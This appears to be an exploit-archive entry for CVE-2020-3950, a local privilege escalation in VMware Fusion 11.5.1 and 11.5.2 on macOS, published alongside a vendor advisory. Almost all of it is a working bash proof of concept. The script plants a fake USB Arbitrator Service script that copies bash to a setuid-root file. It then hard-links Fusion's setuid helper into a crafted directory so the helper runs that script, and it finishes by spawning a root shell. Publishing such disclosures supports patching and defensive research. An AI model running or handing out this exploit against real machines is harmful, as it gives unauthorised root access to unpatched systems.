VMware Fusion 11.5.2 Privilege Escalation

`# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation  
# Date: 2020-03-17  
# Exploit Author: Rich Mirch  
# Vendor Homepage: https://www.vmware.com/products/fusion.html  
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html  
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg  
# Versions:  
# VMware Fusion Professional 11.5.1 (15018442)  
# VMware Fusion Professional 11.5.2 (15794494)  
#  
# Tested on: macOS 10.14.6  
# CVE : CVE-2020-3950  
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh  
#  
#  
#!/bin/bash  
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"  
  
mkdir -p ~/a/b/c  
mkdir -p ~/Contents/Library/services  
  
cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF  
#!/usr/bin/python  
import os  
os.setuid(0)  
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");  
EOF  
  
chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service  
  
cd ~/a/b/c  
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null  
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &  
p=$!  
echo "Sleeping for 5 seconds"  
sleep 5  
kill ${p?}  
wait  
  
echo "Sleeping for 7 seconds"  
sleep 7  
  
$HOME/.woot -p  
`